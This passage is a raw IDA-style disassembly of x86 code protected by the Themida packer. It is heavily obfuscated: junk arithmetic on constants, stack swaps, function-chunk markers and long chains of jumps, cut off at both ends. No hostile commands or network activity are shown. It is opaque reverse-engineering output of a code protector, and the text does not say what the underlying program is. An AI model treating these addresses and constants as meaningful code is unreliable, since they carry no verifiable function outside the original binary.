CODE XREF: sub_56755A+8459j add ebx, ecx pop ecx sub ebx, eax jmp loc_56AD0F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56D238: ; CODE XREF: Themida_:00562854j sub ebp, 2 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_56D84B ; --------------------------------------------------------------------------- loc_56D24E: ; CODE XREF: Themida_:0056BAA4j mov edx, esp add edx, 4 jmp loc_5612F7 ; --------------------------------------------------------------------------- loc_56D25B: ; CODE XREF: Themida_:0056DC4Cj dec esi not esi push ebp push 8A6ACDC2h mov ebp, [esp] add esp, 4 xor esi, ebp pop ebp add edx, esi pop esi add edx, 2 xchg edx, [esp] mov esp, [esp] sub [esp], ax pushf jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56667A loc_56D286: ; CODE XREF: sub_56667A+2AB2j add eax, 3B25210Ah add ebx, eax mov eax, [esp+0] add esp, 4 sub ebx, 2E1829ECh add ebx, 49A40740h sub ebx, eax sub ebx, 49A40740h push edx jmp loc_55F2CF ; END OF FUNCTION CHUNK FOR sub_56667A ; --------------------------------------------------------------------------- loc_56D2AD: ; CODE XREF: Themida_:0055B65Fj sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_569A33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D2C0: ; CODE XREF: sub_56755A-AC32j push 68844F13h jmp loc_563DA0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_56D2CA: ; CODE XREF: sub_560B67+290j mov ebp, 0C8D5405h push eax mov eax, 43A90EF8h xor ebp, eax pop eax shl ebp, 5 sub ebp, 0A8112D54h xor edx, ebp pop ebp xchg ebx, edx neg ebx xchg ebx, edx xor edx, 99578495h add esi, edx mov edx, [esp+4+var_4] add esp, 4 sub esi, 4 jmp loc_565BFD ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- loc_56D303: ; CODE XREF: Themida_:0056CAD3j or eax, ecx pop ecx add eax, 6CB21900h sub eax, 687195B9h jmp loc_56ECAD ; --------------------------------------------------------------------------- loc_56D315: ; CODE XREF: Themida_:005689F4j mov [esp], esi sub esp, 4 push esp pop dword ptr [esp] push edi mov edi, 55021515h push esi jmp loc_56D48B ; --------------------------------------------------------------------------- loc_56D32E: ; CODE XREF: Themida_:0056753Fj add esi, ebp jmp loc_569FC3 ; --------------------------------------------------------------------------- loc_56D335: ; CODE XREF: Themida_:0056E4C6j xor ebp, 3D765Dh add ebp, 0FFFFFFFFh push esi mov esi, 62D68D7h not esi xor esi, 9BDCC175h sub ebp, esi pop esi neg ebp xor ebp, 0F3B655B5h add edi, ebp pop ebp xchg edi, [esp] pop esp jmp loc_560E32 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D363: ; CODE XREF: sub_56755A+83BAj pop ecx add al, 0FEh add al, 5Bh sub al, bl jmp loc_569700 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56D36F: ; CODE XREF: Themida_:0056AED7j mov ebx, esp jmp loc_567761 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D376: ; CODE XREF: sub_56755A+137j or edx, eax mov eax, [esp+26h+var_28+2] add esp, 4 push edx add [esp+26h+var_28+2], 0FFFFFFFFh pop edx push edi mov edi, 31C430BDh not edi add edi, 41563585h add edx, edi pop edi neg edx neg edx sub edx, 7F84643Dh add edi, edx jmp loc_56E1D8 ; --------------------------------------------------------------------------- loc_56D3AC: ; CODE XREF: sub_56755A+310Fj pop ebx push ecx push edx push ecx mov ch, 92h not ch add ch, 0FFh neg ch sub ch, 58h neg ch jmp loc_56F978 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AE72 loc_56D3C3: ; CODE XREF: sub_56AE72+4AB3j shr ecx, 5 push edx jmp loc_5678AE ; END OF FUNCTION CHUNK FOR sub_56AE72 ; --------------------------------------------------------------------------- loc_56D3CC: ; CODE XREF: Themida_:0055B774j sub ch, dl sub ch, 0D4h jmp loc_5629BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EBD2 loc_56D3D6: ; CODE XREF: sub_56EBD2-C9Cj xchg edi, [esp+0Ch+var_C] jmp loc_55F83D ; END OF FUNCTION CHUNK FOR sub_56EBD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EAA9 loc_56D3DE: ; CODE XREF: sub_56EAA9+7j neg ebx xor ebx, 1DCA3C6Ch or ebx, 70BC7AE5h jmp loc_55BD76 ; END OF FUNCTION CHUNK FOR sub_56EAA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D3F1: ; CODE XREF: sub_56755A-77ECj add esp, 4 not ecx sub ecx, 0CEF60105h jmp loc_56D767 ; --------------------------------------------------------------------------- loc_56D404: ; CODE XREF: sub_56755A-3F11j pop ebx add edx, ecx jmp loc_5700F2 ; --------------------------------------------------------------------------- loc_56D40C: ; CODE XREF: sub_56755A-6FA9j pop ebx add ebx, 4 sub ebx, 4 jmp loc_56F153 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B62C loc_56D41B: ; CODE XREF: sub_56B62C-9759j push [esp+4+var_4] pop edx add esp, 4 jmp loc_5678D9 ; END OF FUNCTION CHUNK FOR sub_56B62C ; --------------------------------------------------------------------------- loc_56D427: ; CODE XREF: Themida_:0056E7DCj push dword ptr [esp+4] pop ebp jmp loc_55E0CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD48 loc_56D431: ; CODE XREF: sub_56CD48-BA01j add ebp, ebx jmp loc_56789C ; END OF FUNCTION CHUNK FOR sub_56CD48 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D164 loc_56D438: ; CODE XREF: sub_56D164-3790j push esi mov esi, esp add esi, 4 push ebx mov ebx, 3896586Eh or ebx, 3421493Fh jmp loc_566D69 ; END OF FUNCTION CHUNK FOR sub_56D164 ; --------------------------------------------------------------------------- loc_56D452: ; CODE XREF: Themida_:0056C9AAj dec dword ptr [esp] pop ecx push edi mov edi, 5BEF38FAh xor edi, 580D7E4Ch shl edi, 8 neg edi dec edi sub edi, 6F8DA3C2h add ecx, edi pop edi sub eax, 6BFF6D51h sub eax, 7D2F1C5Eh jmp loc_56AAAB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5615A9 loc_56D480: ; CODE XREF: sub_5615A9+D54Fj mov [esp+0], ecx mov cl, 5Fh push ecx jmp loc_564720 ; END OF FUNCTION CHUNK FOR sub_5615A9 ; --------------------------------------------------------------------------- loc_56D48B: ; CODE XREF: Themida_:0056D329j mov esi, 47E31C24h sub edi, esi jmp loc_55D88C ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_56E20D ; --------------------------------------------------------------------------- loc_56D4A0: ; CODE XREF: Themida_:00568C13j add ebx, ecx pop ecx push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56D4B4: ; CODE XREF: Themida_:0056A4AAj push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], edi jmp loc_564648 ; --------------------------------------------------------------------------- loc_56D4C5: ; CODE XREF: Themida_:00566A6Dj mov cl, 0BFh neg cl dec cl jmp loc_55CC30 ; --------------------------------------------------------------------------- loc_56D4D0: ; CODE XREF: Themida_:00565302j add eax, 66F06647h sub eax, 2E5F405Eh sub eax, 5BF951A4h pop ebp sub eax, edi push 19CBh mov [esp], edx jmp loc_56F272 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D4EF: ; CODE XREF: sub_56755A-8495j add esp, 4 or ebx, 1BAE29D2h sub ebx, 0F85A4E5Ch add eax, ebx pop ebx push [esp+1Ch+var_1C] pop ebp add esp, 4 add eax, 4 xchg eax, [esp+18h+var_18] pop esp push edi push esp mov edi, [esp+1Ch+var_1C] jmp loc_56A180 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56D521: ; CODE XREF: Themida_:0056688Fj pop esp push esi jmp loc_55C6EF ; --------------------------------------------------------------------------- loc_56D528: ; CODE XREF: Themida_:00569077j mov ebp, [esp] jmp loc_55DBA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56026A loc_56D530: ; CODE XREF: sub_56026A-339Fj pop eax add edi, 4 jmp loc_56FBD9 ; END OF FUNCTION CHUNK FOR sub_56026A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FFC1 loc_56D539: ; CODE XREF: sub_55FFC1+1Cj add esp, 4 add ecx, ebx push 46B8h mov [esp+4+var_4], ebx jmp loc_56A7C6 ; END OF FUNCTION CHUNK FOR sub_55FFC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E55E loc_56D54B: ; CODE XREF: sub_56E55E-123DCj mov edi, 0B4AB565Dh push edi mov edi, 705470Ch jmp loc_5657A2 ; END OF FUNCTION CHUNK FOR sub_56E55E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB1B loc_56D55B: ; CODE XREF: sub_56CB1B-E71Fj sub edi, edx sub edi, 31A337DFh mov edx, [esp+8+var_8] jmp loc_561C1E ; END OF FUNCTION CHUNK FOR sub_56CB1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D56B: ; CODE XREF: sub_56755A+658Aj or edx, 789D42EAh jmp loc_56F429 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5702DD loc_56D576: ; CODE XREF: sub_5702DD-C1C7j add eax, 0B5342001h jmp loc_560693 ; END OF FUNCTION CHUNK FOR sub_5702DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B812 loc_56D580: ; CODE XREF: sub_56B812-F5B3j pop esp sub ebp, 1A3B0097h mov eax, [esp+10h+var_10] add esp, 4 jmp loc_568B2E ; END OF FUNCTION CHUNK FOR sub_56B812 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F5D6 loc_56D595: ; CODE XREF: sub_55F5D6+6j mov [esp+4+var_4], ebx push dword ptr [esp+4] push [esp+8+var_8] pop ebx add esp, 4 pop [esp+4+var_4] jmp loc_560B48 ; END OF FUNCTION CHUNK FOR sub_55F5D6 ; =============== S U B R O U T I N E ======================================= sub_56D5AE proc near ; CODE XREF: sub_56F13C-3AAj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055B72B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055BF2E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055DF54 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 00562EA8 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00568DCD SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00569E9E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056DC51 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056ED39 SIZE 00000016 BYTES push ebx mov ebx, 456024BDh shl ebx, 2 or ebx, 76145F54h xor ebx, 3085950h jmp loc_56ED39 sub_56D5AE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D5C8: ; CODE XREF: sub_56755A-6493j xchg esi, [esp+1Eh+var_20+2] pop esp jmp loc_55F50F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56D5D1: ; CODE XREF: Themida_:005653C2j sub ebx, 607943E0h jmp loc_562B29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565F9F loc_56D5DC: ; CODE XREF: sub_565F9F+4A9Cj bswap eax push 19Ah mov [esp-4+arg_0], edx push 224Fh mov [esp+0], esp add dword ptr [esp+0], 4 mov edx, [esp+0] add esp, 4 jmp sub_566C65 ; END OF FUNCTION CHUNK FOR sub_565F9F ; =============== S U B R O U T I N E ======================================= sub_56D600 proc near ; CODE XREF: sub_56755A-B3F4j var_2 = byte ptr -2 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0055CE77 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0055E4CA SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0055FACC SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005616F7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005620E1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00563DC9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00565B47 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005673AD SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056B7FB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056CF56 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056E521 SIZE 00000008 BYTES push bx jmp loc_56E521 sub_56D600 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_56D607: ; CODE XREF: Themida_:0055F044j mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_564B2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D617: ; CODE XREF: sub_56755A+5D8j mov ebx, [esp+1Ch+var_1C] jmp loc_56B578 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_56D61F: ; CODE XREF: sub_5635DE-318Ej sub edx, eax pop eax sub esi, 2B163D95h jmp loc_56991B ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- loc_56D62D: ; CODE XREF: Themida_:00570144j and esi, edx pop edx neg esi push ebx push ecx push 9C6611Fh jmp loc_5653D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D63E: ; CODE XREF: sub_56755A+4B36j push esp mov edi, [esp+14h+var_14] add esp, 4 push ebp jmp loc_55F94F ; --------------------------------------------------------------------------- loc_56D64E: ; CODE XREF: sub_56755A+3525j xor eax, ecx sub esp, 4 mov [esp+1Ah+var_1C+2], eax jmp loc_55E38A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565B25 loc_56D65B: ; CODE XREF: sub_565B25+3EC8j pop ebp shl ebx, 3 xor ebx, 1BDB7EEBh add ebx, 50032942h dec ebx xor ebx, 3B5B0888h add ebx, 499E0608h mov ebp, ebx pop ebx add edx, ebp pop ebp sub ebx, 68F81744h sub ebx, edx add ebx, 68F81744h pop edx jmp loc_561528 ; END OF FUNCTION CHUNK FOR sub_565B25 ; --------------------------------------------------------------------------- loc_56D692: ; CODE XREF: Themida_:00561517j sub [esp], ebp pop ebp add ebp, 0FFFFFFFFh jmp loc_565D4E ; --------------------------------------------------------------------------- loc_56D69E: ; CODE XREF: Themida_:0056B3C5j sub ecx, 0A76D27A7h mov edi, ecx pop ecx neg edi xor edi, 7B763CA5h or edi, 49F412B3h sub edi, 5F001150h add edi, 8D3AF8E1h jmp loc_55B6A7 ; --------------------------------------------------------------------------- loc_56D6C6: ; CODE XREF: Themida_:0055DCA0j add esp, 4 push edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_56B3E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55EA9F loc_56D6E4: ; CODE XREF: sub_55EA9F+A83Ej pop eax and eax, edi mov edi, [esp-4+arg_0] push edx jmp loc_55D2DD ; END OF FUNCTION CHUNK FOR sub_55EA9F ; --------------------------------------------------------------------------- loc_56D6F0: ; CODE XREF: Themida_:0056129Dj push 6A39h mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 jmp loc_562069 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55EC76 loc_56D707: ; CODE XREF: sub_55EC76+5AA5j mov ebp, 0E5D9764Ah sub ebp, 5DDB2A0Dh add ebp, edi add ebp, 5DDB2A0Dh pop edi jmp sub_560483 ; END OF FUNCTION CHUNK FOR sub_55EC76 ; --------------------------------------------------------------------------- loc_56D720: ; CODE XREF: Themida_:00566AB7j sub eax, 53372E7Eh shl eax, 3 sub esp, 4 mov [esp], edi mov edi, 575A5404h xor eax, edi pop edi add esi, eax pop eax jmp loc_55EE94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D73E: ; CODE XREF: sub_56755A+359j and ecx, edx jmp loc_56F9AC ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56D745: ; CODE XREF: Themida_:0056831Cj push ebx mov ebx, 7BDD6B32h not ebx neg ebx add ebx, 6F9576CBh jmp loc_55BE0C ; --------------------------------------------------------------------------- loc_56D75A: ; CODE XREF: Themida_:0056832Aj mov ecx, esp add ecx, 4 jmp loc_564008 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D767: ; CODE XREF: sub_56755A+5EA5j add edx, ecx jmp loc_569E64 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56D76E: ; CODE XREF: Themida_:0056ED75j mov ebp, [esp] add esp, 4 push ebp mov ebp, 61AC3A9Dh inc ebp jmp loc_56F60E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D783: ; CODE XREF: sub_56755A-7242j sub eax, 32C12F13h sub eax, ebx add eax, 32C12F13h sub eax, 7165341Bh mov ebx, [esp+24h+var_24] jmp loc_565763 ; --------------------------------------------------------------------------- loc_56D79C: ; CODE XREF: sub_56755A-3968j push esi mov esi, ecx mov edi, esi jmp loc_56318F ; --------------------------------------------------------------------------- loc_56D7A6: ; CODE XREF: sub_56755A+C77j mov cl, 2Ch add bl, cl jmp loc_569F75 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56D7AF: ; CODE XREF: Themida_:0056E66Cj push eax mov eax, 39562563h jmp loc_5639BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55D71E loc_56D7BA: ; CODE XREF: sub_55D71E+14AFj pop edx jmp loc_56FF68 ; END OF FUNCTION CHUNK FOR sub_55D71E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B774 loc_56D7C0: ; CODE XREF: sub_56B774-4A73j sub ecx, 0EA51BB9h pop edi neg ecx sub ecx, 0E6A471D6h mov eax, ecx jmp loc_56C643 ; END OF FUNCTION CHUNK FOR sub_56B774 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD48 loc_56D7D6: ; CODE XREF: sub_56CD48-9459j mov [esp+8+var_8], ebp mov ebp, 3DE56954h mov ebx, 26FFA4D2h add ebx, ebp pop ebp push ecx jmp loc_56525F ; END OF FUNCTION CHUNK FOR sub_56CD48 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D7EC: ; CODE XREF: sub_56755A+42FDj mov edx, 23014AE6h add edx, 729A238Dh add edx, 6D04A245h mov ebp, edx pop edx shr ebp, 2 or ebp, 2A471E86h jmp loc_56DB58 ; --------------------------------------------------------------------------- loc_56D80E: ; CODE XREF: sub_56755A-1B96j push dword ptr [esp+0] mov ebx, [esp+4+var_4] add esp, 4 push ecx mov ecx, esp jmp loc_55EF59 ; --------------------------------------------------------------------------- loc_56D81F: ; CODE XREF: sub_56755A-951Fj pop edi jmp loc_560757 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56D825: ; CODE XREF: Themida_:0055D83Fj add al, cl pop cx mov ebx, [esp] push edi push esp jmp loc_56E4B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56542E loc_56D833: ; CODE XREF: sub_56542E+F6Dj add ebp, esi jmp loc_56C14A ; END OF FUNCTION CHUNK FOR sub_56542E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_56D83A proc near ; CODE XREF: sub_55DD27+E25Cj var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0055B5EC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055D85E SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055ED0F SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0055FCCF SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00565ED4 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00568508 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056FC3B SIZE 00000013 BYTES push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55B5EC sub_56D83A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_56D84B: ; CODE XREF: Themida_:0056D249j pop esp jmp loc_56C77F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_56D851: ; CODE XREF: sub_56F653+5j and bh, 0F8h xor bh, 0D9h neg bh xor bh, 7Fh xor bh, 68h sub ch, bh pop ebx xor ch, 5Ch add ch, 72h jmp loc_56CEB9 ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- loc_56D86D: ; CODE XREF: Themida_:0055FAB9j push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_55FA79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D87B: ; CODE XREF: sub_56755A-87Fj pop esp mov [esp-0Ch+arg_8], esi push 1830h mov [esp-8+arg_4], edi mov edi, 34EF3829h and edi, 5F095Ch xor edi, 6F0F706Bh xor edi, 44F5418Ah inc edi push edx mov edx, 118C4A9Dh add edx, 15C35B2h push ecx push eax mov eax, 3D883419h jmp loc_55F9D7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebx push 6821h mov [esp], ecx push esp pop ecx jmp loc_560C03 ; --------------------------------------------------------------------------- loc_56D8D0: ; CODE XREF: Themida_:0055CE56j push ebp mov ebp, 4 add eax, ebp pop ebp push 365Ch mov [esp], ebx mov ebx, 4 jmp loc_55EDDE ; --------------------------------------------------------------------------- loc_56D8EB: ; CODE XREF: Themida_:005615E0j xchg edx, [esp] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_56DE5A ; --------------------------------------------------------------------------- loc_56D904: ; CODE XREF: Themida_:00565C8Dj pop esp xor al, bh jmp loc_570072 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D90C: ; CODE XREF: sub_56755A+6C49j pop edx pop dword ptr [esp+0] jmp loc_55DA64 ; --------------------------------------------------------------------------- loc_56D915: ; CODE XREF: sub_56755A-8C63j sub ebx, 1E055B3Dh add ebx, 1A5B0FB5h jmp loc_5641ED ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643B1 loc_56D926: ; CODE XREF: sub_5643B1-5EBEj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0Ch+var_C] pop esp push ecx push esi mov esi, 0CB40DC4h sub esi, 7F066583h or esi, 294F1647h add esi, 7DB3462Eh sub esi, 0EC629DB2h jmp loc_56B458 ; END OF FUNCTION CHUNK FOR sub_5643B1 ; --------------------------------------------------------------------------- loc_56D95C: ; CODE XREF: Themida_:0057005Fj xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] rol dword ptr [esp], cl pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56D971: ; CODE XREF: Themida_:0056B24Bj xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_561451 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56250B loc_56D97F: ; CODE XREF: sub_56250B+C6FCj mov di, 19Ch add di, 3C6h xor cx, di jmp loc_55D54C ; END OF FUNCTION CHUNK FOR sub_56250B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55D71E loc_56D990: ; CODE XREF: sub_55D71E-4A5j pop eax jmp loc_55D019 ; END OF FUNCTION CHUNK FOR sub_55D71E ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push 747Fh mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_56ECDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566FBB loc_56D9B7: ; CODE XREF: sub_566FBB-FD7j add esp, 4 mov edx, esi pop esi pop edi sub esp, 4 mov [esp+0], esi mov esi, edx mov ecx, esi pop esi push [esp-14h+arg_10] pop edx add esp, 4 xor ecx, edx xor edx, ecx xor ecx, edx not edx xchg edx, ecx push esi jmp loc_55F079 ; END OF FUNCTION CHUNK FOR sub_566FBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D9E3: ; CODE XREF: sub_56755A-4F92j add esp, 4 sub edi, ebx push [esp+0Ch+var_C] mov ebx, [esp+10h+var_10] add esp, 4 push eax jmp loc_56F1C0 ; --------------------------------------------------------------------------- loc_56D9FA: ; CODE XREF: sub_56755A+20Cj mov [esp+16h+var_18+2], esi mov esi, 3A390314h jmp loc_56AEEB ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56DA07: ; CODE XREF: Themida_:00570629j xor edi, 0A7C9A926h add ecx, 275F0893h jmp loc_56AE87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56DA18: ; CODE XREF: sub_56755A+7A3j sub ecx, 0F816E38h add ecx, edi add ecx, 0F816E38h jmp loc_561684 ; --------------------------------------------------------------------------- loc_56DA2B: ; CODE XREF: sub_56755A-7273j mov ecx, 6A751B7Bh jmp loc_5678FF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565996 loc_56DA35: ; CODE XREF: sub_565996-9CE9j add esi, 7FFF6EFEh jmp loc_56F528 ; END OF FUNCTION CHUNK FOR sub_565996 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56572D loc_56DA40: ; CODE XREF: sub_56572D-14A4j or ecx, ebp jmp loc_56A6E7 ; END OF FUNCTION CHUNK FOR sub_56572D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56DA47: ; CODE XREF: sub_56755A+8E17j xchg edi, [esp+24h+var_24] jmp loc_563C37 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56DA4F: ; CODE XREF: Themida_:0056ADB2j mov dh, 0FFh add bl, dh pop edx add bl, 0B9h add al, bl pop ebx sub esp, 2 mov [esp], cx push eax mov al, 0E7h push 6ABAh mov [esp], ebx mov bl, al mov ch, bl pop ebx pop eax jmp loc_564948 ; --------------------------------------------------------------------------- loc_56DA7A: ; CODE XREF: Themida_:0055C6BEj mov [esp], edx mov edx, 7EA02BDEh xor edx, 384C7320h xor edx, 2D137320h mov ebp, edx pop edx push esi mov esi, 65396E87h push ebp jmp loc_569234 ; --------------------------------------------------------------------------- loc_56DA9D: ; CODE XREF: Themida_:0055DBEAj pop ebp push edi mov edi, 42563057h neg edi xor edi, 257934B0h shl edi, 4 dec edi add edi, 0D058C116h jmp loc_567613 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56DABB: ; CODE XREF: sub_56755A-175Bj mov ecx, esp jmp sub_56AE72 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56DAC2: ; CODE XREF: Themida_:0055F29Fj jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56DAC7: ; CODE XREF: sub_56755A-8EACj push [esp+2Ah+var_2C+2] mov ebx, [esp+2Eh+var_30+2] push edi mov edi, esp add edi, 4 push edx mov edx, 2EA17652h or edx, 5A270CB8h not edx jmp loc_56D56B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56DAE9: ; CODE XREF: Themida_:00566591j mov edi, 4 add esi, edi pop edi xor esi, [esp] jmp loc_56FE80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643BC loc_56DAF9: ; CODE XREF: sub_5643BC+49E5j add edi, 4 xor edi, [esp+0] xor [esp+0], edi jmp loc_56C117 ; END OF FUNCTION CHUNK FOR sub_5643BC ; --------------------------------------------------------------------------- loc_56DB07: ; CODE XREF: Themida_:0055EC05j push ecx mov ecx, 4 sub ebp, ecx pop ecx xchg ebp, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 push ecx mov ecx, 1A8A794Ch xor ecx, 491238B3h not ecx and ecx, 73CC5FFEh sub ecx, 721929CEh sub ecx, 0AE2AF42Eh add edi, ecx pop ecx sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi jmp loc_5669FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56DB58: ; CODE XREF: sub_56755A+62AFj xor ebp, 1AEF6C01h and 